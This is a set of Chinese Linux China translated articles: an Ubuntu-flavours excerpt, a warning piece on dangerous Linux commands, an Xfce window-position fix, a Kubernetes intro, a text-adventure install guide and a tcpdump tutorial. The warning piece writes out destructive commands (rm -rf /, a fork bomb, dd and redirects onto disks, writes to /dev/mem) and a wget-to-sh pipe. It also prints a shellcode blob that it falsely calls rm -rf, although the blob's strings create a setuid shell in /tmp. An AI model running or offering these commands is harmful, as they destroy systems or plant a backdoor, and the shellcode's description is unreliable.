Xubuntu 对任何人来说都是开箱即用的，无论是否有经验。但是，不要认为看起来熟悉就意味着这个 Ubuntu 特色版本可以让你马上随心所欲。如果你既想要 Ubuntu 传统的开箱即用，也想要经过大量调整成为一个更现代的桌面， 那么 Xubuntu 就是你想要的。

我一直很喜欢 Xubuntu 的一个非常方便的附加功能（就像之前的 Enlightenment），就是通过在桌面的任何地方右键点击打开“开始”菜单（图 6），这样可以非常有效的提高使用效率。

![Xubuntu](/data/attachment/album/201801/05/084005n011x1jyym00dt21.jpg)

*图 6：Xubuntu 可以通过右键点击桌面的任何地方来打开“开始”菜单。*

### 选择由你

总有一款 Ubuntu 的特色版本可以满足所需——选择哪一个取决于你。你自己可以问一下这些问题，例如:

* 你有什么需要？
* 你喜欢与哪种类型的桌面交互？
* 你的硬件老化了吗？
* 你喜欢 Windows XP / 7的感觉吗？
* 你想要一个多媒体系统吗？

你对以上问题的回答将会很好地决定 Ubuntu 的哪一种特色版本适合你。好消息是，任何选择都不能算错。

---

via: <https://www.linux.com/learn/intro-to-linux/2017/5/which-official-ubuntu-flavor-best-you>

作者：[JACK WALLEN](https://www.linux.com/users/jlwallen) 译者：[stevenzdg988](https://github.com/stevenzdg988) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


绝不要用的 Linux 命令！

Summary: 只需要一个愚蠢的举动，你甚至可以毁掉一个价值数十亿美元的企业，就像 没有打补丁的 Apache Struts 一样。

![](/data/attachment/album/201801/05/233039u88lsya3y2il7ll2.jpg)

**当然，除非你想干掉你的机器。**

蜘蛛侠有这样的一句信条，“权力越大，责任越大。” 对于 Linux 系统管理员们来说，这也是一种应当采用的明智态度。

不，真的，真心感谢 DevOps 的沟通协作和云编排技术，让一个 Linux 管理员不仅能掌控一台服务器，甚者能控制成千上万台服务器实例。只需要一个愚蠢的举动，你甚至可以毁掉一个价值数十亿美元的企业，就像 [没有打补丁的 Apache Struts](http://www.zdnet.com/article/equifax-blames-open-source-software-for-its-record-breaking-security-breach/) 一样。

如果不能跑在安全补丁之前，这将会带来一个远超过系统管理员工资水平的战略性业务问题。这里就有一些足以搞死 Linux 服务器的简单方式掌握在系统管理员手中。很容易想象到，只有新手才会犯这些错误，但是，我们需要了解的更多。

下列是一些著名的命令，任何拥有 root 权限的用户都能借助它们对服务器造成严重破坏。

**警告：千万不要在生产环境运行这些命令，它们会危害你的系统。不要在家里尝试，也不要在办公室里测试。**

那么，继续！

### rm -rf /

想要干脆利落的毁掉一个 Linux 系统吗？你无法超越这个被誉为“史上最糟糕”的经典，它能删除一切，我说的是，能删除所有存在你系统里的内容！

和大多数 [Linux 命令](https://www.hpe.com/us/en/insights/articles/16-linux-server-monitoring-commands-you-really-need-to-know-1703.html)一样，`rm` 这个核心命令使用起来非常方便。即便是最顽固的文件它也能帮你删除。结合起后面两个参数理解 `rm` 指令时，你很容易陷入大麻烦：`-r`，强制递归删除所有子目录，`-f`，无需确认，强制删除所有只读文件。如果你在根目录运行这条指令，将清除整个驱动器上的所有数据。

如果你真这么干了，想想该怎么和老板解释吧！

现在，也许你会想，“我永远不会犯这么愚蠢的错误。”朋友，骄兵必败。吸取一下经验教训吧， [这个警示故事来自于一个系统管理员在 Reddit 上的帖子](https://www.reddit.com/r/sysadmin/comments/732skq/after_21_years_i_finally_made_the_rm_boo_boo/)：

>
> 我在 IT 界工作了很多年，但是今天，作为 Linux 系统 root 用户，我在错误的系统路径运行了 `rm- f`
>
>
> 长话短说，那天，我需要复制一大堆目录从一个目录到另一个目录，和你一样，我敲了几个 `cp -R` 去复制我需要的内容。
>
>
> 以我的聪明劲，我持续敲着上箭头，在命令记录中寻找可以复制使用的类似命令名，但是它们混杂在一大堆其他命令当中。
>
>
> 不管怎么说，我一边在 Skype、Slack 和 WhatsApp 的网页上打字，一边又和 Sage 通电话，注意力严重分散，我在敲入 `rm -R ./videodir/* ../companyvideodirwith651vidsin/` 这样一条命令时神游物外。
>
>
>

然后，当文件化为乌有时其中也包括了公司的视频。幸运的是，在疯狂敲击 `control -C` 后，在删除太多文件之前，系统管理员中止了这条命令。但这是对你的警告：任何人都可能犯这样的错误。

事实上，绝大部分现代操作系统都会在你犯这些错误之前，用一段醒目的文字警告你。然而，如果你在连续敲击键盘时忙碌或是分心，你将会把你的系统键入一个黑洞。（LCTT 译注：幸运的是，可能在根目录下删除整个文件系统的人太多了额，后来 `rm` 默认禁止删除根目录，除非——你手动加上 `--no-preserve-root` 参数！）

这里有一些更为隐蔽的方式调用 `rm -rf`。思考一下下面的代码：

```
char esp[] __attribute__ ((section(“.text”))) = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

```

这是什么？这是 16 进制的 `rm -rf` 写法。在你不明确这段代码之前，请千万不要运行这条命令！

### fork 炸弹

既然我们讨论的都是些奇怪的代码，不妨思考一下这一行：

```
:(){ :|: & };:

```

对你来说，这可能看起来有些神秘，但是我看来，它就是那个臭名昭著的 [Bash fork 炸弹](/article-5685-1.html)。它会反复启动新的 Bash shell，直到你的系统资源消耗殆尽、系统崩溃。

不应该在最新的 Linux 系统上做这些操作。注意，我说的是**不应该**。我没有说**不能**。正确设置用户权限，Linux 系统能够阻止这些破坏性行为。通常用户仅限于分配使用机器可用内存。但是如果作为 root 用户的你运行了这行命令（或者它的变体 [Bash fork 炸弹变体](https://unix.stackexchange.com/questions/283496/why-do-these-bash-fork-bombs-work-differently-and-what-is-the-significance-of)），你仍然可以反复虐待服务器，直到系统重启了。

### 垃圾数据重写硬盘

有时候你想彻底清除硬盘的数据，你应该使用 [Darik's Boot and Nuke （DBAN）](https://dban.org/) 工具去完成这项工作。

但是如果仅仅想让你的存储器乱套，那很简单：

```
任意命令 > /dev/hda

```

我说的“任意命令”，是指有输出的任意命令，比如:

```
ls -la > /dev/hda

```

……将目录列表通过管道送到你的主存储设备。给我 root 权限和足够的时间，就能覆盖整个硬盘设备。这是让你开始盲目恐慌的一天的好办法，或者，可以把它变成 [职业禁入方式](https://www.hpe.com/us/en/insights/articles/13-ways-to-tank-your-it-career-1707.html)。

### 擦除硬盘！

另一个一直受欢迎的擦除硬盘的方式是执行：

```
dd if=/dev/zero of=/dev/hda

```

你可以用这条命令写入数据到你的硬盘设备。`dd` 命令可以从特殊文件中获取无尽个 `0` 字符，并且将它全部写入你的设备。

可能现在听起来 `/dev/zero` 是个愚蠢的想法，但是它真的管用。比如说，你可以使用它来 [用零清除未使用的分区空间](https://unix.stackexchange.com/questions/44234/clear-unused-space-with-zeros-ext3-ext4)。它能使分区的镜像压缩到更小，以便于数据传输或是存档使用。

在另一方面，它和 `dd if=/dev/random of=/dev/hda` 相近，除了能毁掉你的一天之外，不是一个好事。如果你运行了这个指令（千万不要），你的存储器会被随机数据覆盖。作为一个隐藏你要接管办公室咖啡机的秘密计划的半吊子方法，倒是不错，但是你可以使用 DBAN 工具去更好的完成你的任务。

### /dev/null 的损失

也许因为数据珍贵，我们对备份的数据没有什么信心，确实很多“永远不要这样做！”的命令都会导致硬盘或其它存储仓库的数据被擦除。一个鲜明的实例：另一个毁灭你的存储设备的方式，运行 `mv / /dev/null` 或者 `>mv /dev/null`。

在前一种情况下，你作为 root 用户，把整个磁盘数据都送进这个如饥似渴的 `/dev/null`。在后者，你仅仅把家目录喂给这个空空如也的仓库。任何一种情况下，除非还原备份，你再也不会再看见你的数据了。

见鬼，难道会计真的不需要最新的应收账款文件了吗？

### 格式化错了驱动器

有时候你需要使用这一条命令格式化驱动器：

```
mkfs.ext3 /dev/hda

```

……它会用 ext3 文件系统格式化主硬盘驱动器。别，请等一下！你正在格式化你的主驱动器！难道你不需要用它？

当你要格式化驱动器的时候，请务必加倍确认你正在格式化的分区是真的需要格式化的那块而不是你正在使用的那块，无论它们是 SSD、闪存盘还是其他氧化铁磁盘。

### 内核崩溃

一些 Linux 命令不能让你的机器长时间停机。然而，一些命令却可以导致内核崩溃。这些错误通常是由硬件问题引起的，但你也可以自己搞崩。

当你遭遇内核崩溃，重新启动系统你才可以恢复工作。在一些情况下，这只是有点小烦；在另一些情况下，这是一个大问题，比如说，高负荷运作下的生产环境。下面有一个案例：

```
dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

```

这些都会导致内核崩溃。

绝不要运行你并不了解它功能的命令，它们都在提醒我…

### 提防未知脚本

年轻或是懒惰的系统管理员喜欢复制别人的脚本。何必重新重复造轮子？所以，他们找到了一个很酷的脚本，承诺会自动检查所有备份。他们就这样运行它：

```
wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

```

这会下载该脚本，并将它送到 shell 上运行。很明确，别大惊小怪，对吧？不对。这个脚本也许已经被恶意软件感染。当然，一般来说 Linux 比大多数操作系统都要安全，但是如果你以 root 用户运行未知代码，什么都可能会发生。这种危害不仅在恶意软件上，脚本作者的愚蠢本身同样有害。你甚至可能会因为一个未调试的代码吃上一堑——由于你没有花时间去读它。

你认为你不会干那样的事？告诉我，所有那些 [你在 Docker 里面运行的容器镜像在干什么](https://www.oreilly.com/ideas/five-security-concerns-when-using-docker)？你知道它们到底在运行着什么吗？我见过太多的没有验证容器里面装着什么就运行它们的系统管理员。请不要和他们一样。

### 结束

这些故事背后的道理很简单。在你的 Linux 系统里，你有巨大的控制权。你几乎可以让你的服务器做任何事。但是在你使用你的权限的同时，请务必做认真的确认。如果你没有，你毁灭的不只是你的服务器，而是你的工作甚至是你的公司。像蜘蛛侠一样，负责任的使用你的权限。

我有没有遗漏什么？在 [@sjvn](http://www.twitter.com/sjvn) 或 [@enterprisenxt](http://www.twitter.com/enterprisenxt) 上告诉我哪些 Linux 命令在你的“[绝不要运行！](https://www.youtube.com/watch?v=v79fYnuVzdI)”的清单上。

---

via: <https://www.hpe.com/us/en/insights/articles/the-linux-commands-you-should-never-use-1712.html>

作者：[Steven Vaughan-Nichols](https://www.hpe.com/us/en/insights/contributors/steven-j-vaughan-nichols.html) 译者：[CYLeft](https://github.com/CYLeft) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


在 Xfce 会话中保存窗口的位置

![](/data/attachment/album/201801/06/121844t0t5qepgp49xg499.png)

摘要：如果你发现 Xfce 会话不能保存窗口的位置，那么启用“登出时保存”，然后登出再重新登录一次，可能就能永久修复这个问题了（如果你想要保持相同的会话，再次登录时恢复的话）。 下面是详细内容。

我用 Xfce 作桌面有些年头了，但是每次重启后进入之前保存的会话时总会有问题出现。 登录后， 之前会话中保存的应用都会启动， 但是所有的工作区和窗口位置数据都会丢失， 导致所有应用都堆在默认工作区中，乱糟糟的。

多年来，很多人都报告过这个问题（Ubuntu、Xfce 以及 Red Hat 的 bug 追踪系统中都有登记）。 虽然 Xfce4.10 中已经修复过了一个相关 bug， 但是我用的 Xfce4.12 依然有这个问题。 如果不是我的其中一个系统能够正常的恢复各个窗口的位置，我几乎都要放弃找出问题的原因了（事实上我之前已经放弃过很多次了）。

今天，我深入对比了两个系统的不同点，最终解决了这个问题。 我现在就把结果写出来， 以防有人也遇到相同的问题。

提前的一些说明：

1. 由于这个笔记本只有我在用，因此我几乎不登出我的 Xfce 会话。 我一般只是休眠然后唤醒，除非由于要对内核打补丁才进行重启， 或者由于某些改动损毁了休眠镜像导致系统从休眠中唤醒时卡住了而不得不重启。 另外，我也很少使用 Xfce 工具栏上的重启按钮重启；一般我只是运行一下 `reboot`。
2. 我会使用 xterm 和 Emacs， 这些不太复杂的 X 应用无法记住他们自己的窗口位置。

Xfce 将会话信息保存到主用户目录中的 `.cache/sessions` 目录中。在经过仔细检查后发现，在正常的系统中有两类文件存储在该目录中，而在非正常的系统中，只有一类文件存在该目录下。

其中一类文件的名字类似 `xfce4-session-hostname:0` 这样的，其中包含的内容类似下面这样的：

```
Client9_ClientId=2a654109b-e4d0-40e4-a910-e58717faa80b
Client9_Hostname=local/hostname
Client9_CloneCommand=xterm
Client9_RestartCommand=xterm，-xtsessionID，2a654109b-e4d0-40e4-a910-e58717faa80b
Client9_Program=xterm
Client9_UserId=user

```

这个文件记录了所有正在运行的程序。如果你进入“设置 -> 会话和启动”并清除会话缓存， 就会删掉这种文件。 当你保存当前会话时， 又会创建这种文件。 这就是 Xfce 知道要启动哪些应用的原因。 但是请注意，上面并没有包含任何窗口位置的信息。 （我还曾经以为可以根据会话 ID 来找到其他地方的一些相关信息，但是并没有）。

正常工作的系统在目录中还有另一类文件，名字类似 `xfwm4-2d4c9d4cb-5f6b-41b4-b9d7-5cf7ac3d7e49.state` 这样的。 其中文件内容类似下面这样：

```
[CLIENT] 0x200000f
[CLIENT_ID] 2a9e5b8ed-1851-4c11-82cf-e51710dcf733
[CLIENT_LEADER] 0x200000f
[RES_NAME] xterm
[RES_CLASS] XTerm
[WM_NAME] xterm
[WM_COMMAND] (1) "xterm"
[GEOMETRY] (860，35，817，1042)
[GEOMETRY-MAXIMIZED] (860，35，817，1042)
[SCREEN] 0
[DESK] 2
[FLAGS] 0x0

```

注意这里的 `GEOMETRY` 和 `DESK` 记录的正是我们想要的窗口位置以及工作区号。因此不能保存窗口位置的原因就是因为缺少这个文件。

继续深入下去，我发现当你明确地手工保存会话时，之后保存第一个文件而不会保存第二个文件。 但是当登出保存会话时则会保存第二个文件。 因此， 我进入“设置 -> 会话和启动”中，在“通用”标签页中启用登出时自动保存会话， 然后登出后再进来， 然后， 第二个文件就出现了。 再然后我又关闭了登出时自动保存会话。（因为我一般在排好屏幕后就保存一个会话， 但是我不希望做出的改变也会影响到这个保存的会话， 如有必要我会明确地手工进行保存），现在我的窗口位置能够正常的恢复了。

这也解释了为什么有的人会有问题而有的人没有问题： 有的人可能一直都是用登出按钮重启，而有些人则是手工重启（或者仅仅是由于系统崩溃了才重启）。

顺带一提，这类问题， 以及为解决问题而付出的努力，正是我赞同为软件存储的状态文件编写 man 页或其他类似文档的原因。 为用户编写文档，不仅能帮助别人深入挖掘产生奇怪问题的原因， 也能让软件作者注意到软件中那些奇怪的东西， 比如将会话状态存储到两个独立的文件中去。

---

via: [https://www.eyrie.org/~eagle/journal/2017-12/001.html](https://www.eyrie.org/%7Eeagle/journal/2017-12/001.html)

作者：[J. R. R. Tolkien](https://www.eyrie.org) 译者：[lujun9972](https://github.com/lujun9972) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


一步步采用 Kubernetes

Summary: 这正是 Kubernetes 登场的时候。它是一个容器编排orchestration系统，它允许您以一定的标准管理、缩放和部署应用程序的不同部分，并且成为其中的重要工具。

![](/data/attachment/album/201801/06/143444mwdwd2jlw6nurn6w.jpg)

### 为什么选择 Docker 和 Kubernetes 呢？

容器允许我们构建、发布和运行分布式应用。它们使应用程序摆脱了机器限制，可以让我们以一定的方式创建一个复杂的应用程序。

使用容器编写应用程序可以使开发、QA 更加接近生产环境（如果你努力这样做的话）。通过这样做，可以更快地发布修改，并且可以更快地测试整个系统。

[Docker](https://www.docker.com/what-docker) 这个容器式平台就是为此为生，可以使软件独立于云提供商。

但是，即使使用容器，移植应用程序到任何一个云提供商（或私有云）所需的工作量也是不可忽视的。应用程序通常需要自动伸缩组、持久远程磁盘、自动发现等。但是每个云提供商都有不同的机制。如果你想使用这些功能，很快你就会变的依赖于云提供商。

这正是 [Kubernetes](https://kubernetes.io/) 登场的时候。它是一个容器<ruby> 编排 <rt>  orchestration </rt></ruby>系统，它允许您以一定的标准管理、缩放和部署应用程序的不同部分，并且成为其中的重要工具。它的可移植抽象层兼容主要云的提供商（Google Cloud，Amazon Web Services 和 Microsoft Azure 都支持 Kubernetes）。

可以这样想象一下应用程序、容器和 Kubernetes。应用程序可以视为一条身边的鲨鱼，它存在于海洋中（在这个例子中，海洋就是您的机器）。海洋中可能还有其他一些宝贵的东西，但是你不希望你的鲨鱼与小丑鱼有什么关系。所以需要把你的鲨鱼（你的应用程序）移动到一个密封的水族馆中（容器）。这很不错，但不是特别的健壮。你的水族馆可能会被打破，或者你想建立一个通道连接到其他鱼类生活的另一个水族馆。也许你想要许多这样的水族馆，以防需要清洁或维护……这正是应用 Kubernetes 集群的作用。

![](/data/attachment/album/201801/06/143449h5pexztxtxopy0u4.jpg)

*进化到 Kubernetes*

主流云提供商对 Kubernetes 提供了支持，从开发环境到生产环境，它使您和您的团队能够更容易地拥有几乎相同的环境。这是因为 Kubernetes 不依赖专有软件、服务或基础设施。

事实上，您可以在您的机器中使用与生产环境相同的部件启动应用程序，从而缩小了开发和生产环境之间的差距。这使得开发人员更了解应用程序是如何构建在一起的，尽管他们可能只负责应用程序的一部分。这也使得在开发流程中的应用程序更容易的快速完成测试。

### 如何使用 Kubernetes 工作？

随着更多的人采用 Kubernetes，新的问题出现了；应该如何针对基于集群环境进行开发？假设有 3 个环境，开发、质量保证和生产， 他们如何适应 Kubernetes？这些环境之间仍然存在着差异，无论是在开发周期（例如：在运行中的应用程序中我的代码的变化上花费时间）还是与数据相关的（例如：我不应该在我的质量保证环境中测试生产数据，因为它里面有敏感信息）。

那么，我是否应该总是在 Kubernetes 集群中编码、构建映像、重新部署服务，在我编写代码时重新创建部署和服务？或者，我是否不应该尽力让我的开发环境也成为一个 Kubernetes 集群（或一组集群）呢？还是，我应该以混合方式工作？

![](/data/attachment/album/201801/06/143449p3zg33ncmumngfvz.jpg)

*用本地集群进行开发*

如果继续我们之前的比喻，上图两边的洞表示当使其保持在一个开发集群中的同时修改应用程序的一种方式。这通常通过[卷](https://kubernetes.io/docs/concepts/storage/volumes/)来实现

### Kubernetes 系列

本 Kubernetes 系列资源是开源的，可以在这里找到： <https://github.com/red-gate/ks> 。

我们写这个系列作为以不同的方式构建软件的练习。我们试图约束自己在所有环境中都使用 Kubernetes，以便我们可以探索这些技术对数据和数据库的开发和管理造成影响。

这个系列从使用 Kubernetes 创建基本的 React 应用程序开始，并逐渐演变为能够覆盖我们更多开发需求的系列。最后，我们将覆盖所有应用程序的开发需求，并且理解在数据库生命周期中如何最好地迎合容器和集群。

以下是这个系列的前 5 部分：

1. ks1：使用 Kubernetes 构建一个 React 应用程序
2. ks2：使用 minikube 检测 React 代码的更改
3. ks3：添加一个提供 API 的 Python Web 服务器
4. ks4：使 minikube 检测 Python 代码的更改
5. ks5：创建一个测试环境

本系列的第二部分将添加一个数据库，并尝试找出最好的方式来开发我们的应用程序。

通过在各种环境中运行 Kubernetes，我们被迫在解决新问题的同时也尽量保持开发周期。我们不断尝试 Kubernetes，并越来越习惯它。通过这样做，开发团队都可以对生产环境负责，这并不困难，因为所有环境（从开发到生产）都以相同的方式进行管理。

### 下一步是什么？

我们将通过整合数据库和练习来继续这个系列，以找到使用 Kubernetes 获得数据库生命周期的最佳体验方法。

这个 Kubernetes 系列是由 Redgate 研发部门 Foundry 提供。我们正在努力使数据和容器的管理变得更加容易，所以如果您正在处理数据和容器，我们希望听到您的意见，请直接联系我们的开发团队。 [*foundry@red-gate.com*](mailto:foundry@red-gate.com)

---

我们正在招聘。您是否有兴趣开发产品、创建[未来技术](https://www.red-gate.com/foundry/) 并采取类似创业的方法（没有风险）？看看我们的[软件工程师 - 未来技术](https://www.red-gate.com/our-company/careers/current-opportunities/software-engineer-future-technologies)的角色吧，并阅读更多关于在 [英国剑桥](https://www.red-gate.com/our-company/careers/living-in-cambridge)的 Redgate 工作的信息。

---

via: <https://medium.com/ingeniouslysimple/adopting-kubernetes-step-by-step-f93093c13dfe>

作者：[santiago arias](https://medium.com/@santiaago?source=post_header_lockup) 译者：[aiwhj](https://github.com/aiwhj) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


巨洞冒险：史上最有名的经典文字冒险游戏

[<ruby> 巨洞冒险 <rt>  Colossal Cave Adventure </rt></ruby>](https://zh.wikipedia.org/wiki/%E5%B7%A8%E6%B4%9E%E5%86%92%E9%9A%AA)，又名 ADVENT、Clossal Cave 或 Adventure，是八十年代初到九十年代末最受欢迎的基于文字的冒险游戏。这款游戏还作为史上第一款“<ruby> 互动小说 <rt>  interactive fiction </rt></ruby>”类游戏而闻名。在 1976 年，一个叫 Will Crowther 的程序员开发了这款游戏的一个早期版本，之后另一位叫 Don Woods 的程序员改进了这款游戏，为它添加了许多新元素，包括计分系统以及更多的幻想角色和场景。这款游戏最初是为 PDP-10 开发的，这是一种历史悠久的大型计算机。后来，它被移植到普通家用台式电脑上，比如 IBM PC 和 Commodore 64。游戏的最初版使用 Fortran 开发，之后在八十年代初它被微软加入到 MS-DOS 1.0 当中。

![](/data/attachment/album/201801/07/011319fr62u61irkt9kz6y.jpg)

1995 年发布的最终版本 Adventure 2.5 从来没有可用于现代操作系统的安装包。它已经几乎绝版。万幸的是，在多年之后身为开源运动提倡者的 Eric Steven Raymond （ESR）得到了原作者们的同意之后将这款经典游戏移植到了现代操作系统上。他把这款游戏开源并将源代码以 “open-adventure” 之名托管在 GitLab 上。

你在这款游戏的主要目标是找到一个传言中藏有大量宝藏和金子的洞穴并活着离开它。玩家在这个虚拟洞穴中探索时可以获得分数。一共可获得的分数是 430 点。这款游戏的灵感主要来源于原作者 Will Crowther 丰富的洞穴探索的经历。他曾经经常在洞穴中冒险，特别是肯塔基州的<ruby> 猛犸洞 <rt>  Mammoth Cave </rt></ruby>。因为游戏中的洞穴结构大体基于猛犸洞，你也许会注意到游戏中的场景和现实中的猛犸洞的相似之处。

### 安装巨洞冒险

Open Adventure 在 [AUR](https://aur.archlinux.org/packages/open-adventure/) 上有面对 Arch 系列操作系统的安装包。所以我们可以在 Arch Linux 或者像 Antergos 和 Manjaro Linux 等基于 Arch 的发行版上使用任何 AUR 辅助程序安装这款游戏。

使用 [Pacaur](https://www.ostechnix.com/install-pacaur-arch-linux/)：

```
pacaur -S open-adventure

```

使用 [Packer](https://www.ostechnix.com/install-packer-arch-linux-2/)：

```
packer -S open-adventure

```

使用 [Yaourt](https://www.ostechnix.com/install-yaourt-arch-linux/)：

```
yaourt -S open-adventure

```

在其他 Linux 发行版上，你也许需要经过如下步骤来从源代码编译并安装这款游戏。

首先安装依赖项：

在 Debian 和 Ubuntu 上：

```
sudo apt-get install python3-yaml libedit-dev

```

在 Fedora 上：

```
sudo dnf install python3-PyYAML libedit-devel

```

你也可以使用 `pip` 来安装 PyYAML：

```
sudo pip3 install PyYAML

```

安装好依赖项之后，用以下命令从源代码编译并安装 open-adventure：

```
git clone https://gitlab.com/esr/open-adventure.git
make
make check

```

最后，运行 `advent` 程序开始游戏：

```
advent

```

在 [Google Play 商店](https://play.google.com/store/apps/details?id=com.ecsoftwareconsulting.adventure430) 上还有这款游戏的安卓版。

### 游戏说明

要开始游戏，只需在终端中输入这个命令：

```
advent

```

你会看到一个欢迎界面。按 `y` 来查看教程，或者按 `n` 来开始冒险之旅。

![](/data/attachment/album/201801/07/011320fttm8f9f839z2h8m.png)

游戏在一个小砖房前面开始。玩家需要使用由一到两个简单的英语单词单词组成的命令来控制角色。要移动角色，只需输入 `in`、 `out`、`enter`、`exit`、`building`、`forest`、`east`、`west`、`north`、`south`、`up` 或 `down` 等指令。

比如说，如果你输入 `south` 或者简写 `s`，游戏角色就会向当前位置的南方移动。注意每个单词只有前五个字母有效，所以当你需要输入更长的单词时需要使用缩写，比如要输入 `northeast` 时，只需输入 NE（大小写均可）。要输入 `southeast` 则使用 SE。要捡起物品，输入 `pick`。要进入一个建筑物或者其他的场景，输入 `in`。要从任何场景离开，输入 `exit`，诸如此类。当你遇到危险时你会受到警告。你也可以使用两个单词的短语作为命令，比如 `eat food`、`drink water`、`get lamp`、`light lamp`、`kill snake` 等等。你可以在任何时候输入 `help` 来显示游戏帮助。

![](/data/attachment/album/201801/07/011320blilozillll6p1p3.png)

我花了一整个下午来探索这款游戏。天哪，这真是段超级有趣、激动人心又紧张刺激的冒险体验！

![](/data/attachment/album/201801/07/011321vnnra18i9i6bx94x.png)

我打通了许多关卡并在路上探索了各式各样的场景。我甚至找到了金子，还被一条蛇和一个矮人袭击过。我必须承认这款游戏真是非常让人上瘾，简直是最好的时间杀手。

如果你安全地带着财宝离开了洞穴，你会取得游戏胜利，并获得财宝全部的所有权。你在找到财宝的时候也会获得部分的奖励。要提前离开你的冒险，输入 `quit`。要暂停冒险，输入 `suspend`（或者 `pause` 或 `save`）。你可以在之后继续冒险。要看你现在的进展如何，输入 `score`。记住，被杀或者退出会导致丢分。

祝你们玩得开心！再见！

---

via: <https://www.ostechnix.com/colossal-cave-adventure-famous-classic-text-based-adventure-game/>

作者：[SK](https://www.ostechnix.com/author/sk/) 译者：[yixunx](https://github.com/yixunx) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


通过实例学习 tcpdump 命令

Summary: tcpdump 是一个很常用的网络包分析工具，可以用来显示通过网络传输到本系统的 TCP/IP 以及其他网络的数据包。tcpdump 使用 libpcap 库来抓取网络报，这个库在几乎在所有的 Linux/Unix 中都有。

![](/data/attachment/album/201801/07/092829hhcmp8swb6pcw87b.jpg)

`tcpdump` 是一个很常用的网络包分析工具，可以用来显示通过网络传输到本系统的 TCP/IP 以及其他网络的数据包。`tcpdump` 使用 libpcap 库来抓取网络报，这个库在几乎在所有的 Linux/Unix 中都有。

`tcpdump` 可以从网卡或之前创建的数据包文件中读取内容，也可以将包写入文件中以供后续使用。必须是 root 用户或者使用 sudo 特权来运行 `tcpdump`。

在本文中，我们将会通过一些实例来演示如何使用 `tcpdump` 命令，但首先让我们来看看在各种 Linux 操作系统中是如何安装 `tcpdump` 的。

* 推荐阅读：[使用 iftop 命令监控网络带宽](http://linuxtechlab.com/monitoring-network-bandwidth-iftop-command/)

### 安装

`tcpdump` 默认在几乎所有的 Linux 发行版中都可用，但若你的 Linux 上没有的话，使用下面方法进行安装。

#### CentOS/RHEL

使用下面命令在 CentOS 和 RHEL 上安装 `tcpdump`，

```
$ sudo yum install tcpdump*

```

#### Fedora

使用下面命令在 Fedora 上安装 `tcpdump`：

```
$ dnf install tcpdump

```

#### Ubuntu/Debian/Linux Mint

在 Ubuntu/Debain/Linux Mint 上使用下面命令安装 `tcpdump`：

```
$ apt-get install tcpdump

```

安装好 `tcpdump` 后，现在来看一些例子。

### 案例演示

#### 从所有网卡中捕获数据包

运行下面命令来从所有网卡中捕获数据包：

```
$ tcpdump -i any

```

#### 从指定网卡中捕获数据包

要从指定网卡中捕获数据包，运行：

```
$ tcpdump -i eth0

```

#### 将捕获的包写入文件

使用 `-w` 选项将所有捕获的包写入文件：

```
$ tcpdump -i eth1 -w packets_file

```

#### 读取之前产生的 tcpdump 文件

使用下面命令从之前创建的 tcpdump 文件中读取内容：

```
$ tcpdump -r packets_file

```

#### 获取更多的包信息，并且以可读的形式显示时间戳

要获取更多的包信息同时以可读的形式显示时间戳，使用：

```
$ tcpdump -ttttnnvvS

```

#### 查看整个网络的数据包

要获取整个网络的数据包，在终端执行下面命令：

```
$ tcpdump net 192.168.1.0/24

```

#### 根据 IP 地址查看报文

要获取指定 IP 的数据包，不管是作为源地址还是目的地址，使用下面命令：

```
$ tcpdump host 192.168.1.100

```

要指定 IP 地址是源地址或是目的地址则使用：

```
$ tcpdump src 192.168.1.100
$ tcpdump dst 192.168.1.100

```

#### 查看某个协议或端口号的数据包

要查看某个协议的数据包，运行下面命令：

```
$ tcpdump ssh

```

要捕获某个端口或一个范围的数据包，使用：

```
$ tcpdump port 22
$ tcpdump portrange 22-125

```

我们也可以与 `src` 和 `dst` 选项连用来捕获指定源端口或指定目的端口的报文。

我们还可以使用“与” （`and`，`&&`）、“或” （`or`，`||` ) 和“非”（`not`，`!`） 来将两个条件组合起来。当我们需要基于某些条件来分析网络报文是非常有用。

#### 使用“与”

可以使用 `and` 或者符号 `&&` 来将两个或多个条件组合起来。比如：

```
$ tcpdump src 192.168.1.100 && port 22 -w ssh_packets

```

#### 使用“或”

“或”会检查是否匹配命令所列条件中的其中一条，像这样：

```
$ tcpdump src 192.168.1.100 or dst 192.168.1.50 && port 22 -w ssh_packets
$ tcpdump port 443 or 80 -w http_packets

```

#### 使用“非”

当我们想表达不匹配某项条件时可以使用“非”，像这样：

```
$ tcpdump -i eth0 src port not 22

```

这会捕获 eth0 上除了 22 号端口的所有通讯。

我们的教程至此就结束了，在本教程中我们讲解了如何安装并使用 `tcpdump` 来捕获网络数据包。如有任何疑问或建议，欢迎留言。

---

via: <http://linuxtechlab.com/learn-use-tcpdump-command-examples/>

作者：[Shusain](http://linuxtechlab.com/author/shsuain/) 译者：[lujun9972](https://github.com/lujun9972) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


怎样在 Ubuntu 下安装 Moodle（魔灯）

